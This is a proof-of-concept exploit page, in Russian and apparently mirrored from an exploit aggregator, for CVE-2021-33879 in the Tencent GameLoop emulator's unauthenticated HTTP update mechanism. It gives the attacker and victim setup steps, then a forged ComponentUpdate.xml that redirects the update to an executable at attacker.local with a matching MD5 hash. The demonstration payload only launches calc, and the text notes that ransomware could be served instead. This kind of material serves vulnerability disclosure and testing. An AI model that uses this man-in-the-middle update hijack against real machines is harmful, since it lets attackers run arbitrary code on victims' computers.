## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MMISZCZYK-CVE-2021-33879
**Идентификатор CVE** : CVE-2021-33879
**Название затронутого продукта(ов) и версии(й)** : GameLoop (все версии до 4.1.21.90)
**Тип уязвимости** : CWE-494: Загрузка кода без проверки целостности
* * *
**Краткое описание**
GameLoop — это эмулятор Android, разработанный Tencent. Он использует механизм обновления, который не является зашифрованным или аутентифицированным (кроме хешей MD5, которые в данной эксплуатации могут контролироваться атакующим), что позволяет атакующему в позиции MITM перехватывать и отправлять собственные пакеты обновлений, которые будут выполнены на машине жертвы.
**Описание**
Tencent GameLoop до версии 4.1.21.90 загружал обновления через небезопасное HTTP-соединение. Злоумышленник в позиции MITM мог подменить содержимое XML-документа, описывающего пакет обновления, заменив URL загрузки на URL, указывающий на произвольный исполняемый файл Windows. Поскольку единственной проверкой целостности было сравнение MD5-хеша загруженного файла с хешем, содержащимся в XML-документе, загруженный исполняемый файл затем выполнялся на машине жертвы.
**Воспроизведение**
* настройка среды атакующего:
* настройте веб-сервер, поместите на него полезную нагрузку, вычислите её MD5-хеш
* настройте прокси, сконфигурируйте его на перехват запросов к ComponentUpdate.xml
* настройка среды жертвы:
* настройте подключение к интернету через прокси атакующего
* установите уязвимую версию GameLoop
* жертва: принудительная проверка обновлений
* запустите GameLoop
* нажмите «Обновить» из гамбургер-меню
* атакующий: измените ComponentUpdate.xml (вставьте соответствующий url, md5 и filesize вашей полезной нагрузки)
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<UpdateConfig>
<GlobalConfig>
<Item name="UpdateEnable" Value="1" />
</GlobalConfig>
<UpdatePolicy>
<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
<Condition Method="Or">
<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
</Condition>
</PolicyItem>
</UpdatePolicy>
<UpdateOperation>
<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
</OperItem>
</UpdateOperation>
</UpdateConfig>